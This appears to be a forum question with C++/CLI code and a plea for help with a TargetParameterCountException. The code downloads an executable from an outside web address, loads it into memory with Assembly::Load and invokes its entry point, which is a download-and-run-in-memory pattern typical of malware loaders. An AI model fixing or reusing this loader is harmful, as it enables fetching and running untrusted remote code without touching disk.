1
using namespace System;
using namespace System::Threading;
using namespace System::Reflection;
using namespace System::Net;
public ref class ThreadExample
{
public:
static array<Byte>^bytes;
static void DoExecute()
{
    if (bytes[0x3C] == 0x80)
    {
        array<Byte>^ _bytes;
        Assembly^ asm_Renamed = Assembly::Load(bytes);
        MethodInfo ^entryPoint = asm_Renamed->EntryPoint;
        //array<Object^> ^temp0 = nullptr;
        array<System::String ^>^ _s = gcnew array<System::String ^> {"P1", "pw2"};
        try
        {
            entryPoint->Invoke(nullptr, _s);
        }
        catch(ArgumentException^ str)
        {
            Console::WriteLine(str);
        }
        catch(TargetParameterCountException^ str2)
        {
            Console::WriteLine(str2);
        }
    }
}
};
void Execute()
{
Console::WriteLine(L"Test!");
Thread^ t = gcnew Thread( gcnew ThreadStart( &ThreadExample::DoExecute ) );
t->TrySetApartmentState(ApartmentState::STA);
t->Start();
}
int main(array<System::String ^> ^args)
{
Console::WriteLine(L"Hello World");
WebClient^ c = gcnew WebClient();
String^ s = "http://www.themarv.eu/psc/test.exe";
Console::WriteLine(c->DownloadData(s)->ToString());
ThreadExample::bytes = c->DownloadData(s);
Execute();

Console::ReadLine();
return 0;
}

那是我的代码,我总是收到 System.Reflection.TargetParameterCountException 错误。

有人可以帮我吗,也许我在没有参数的情况下启动程序?如果我只输入一个字符串作为参数,我将无法启动它,因为会弹出 ArgumentException 错误

4

0 回答 0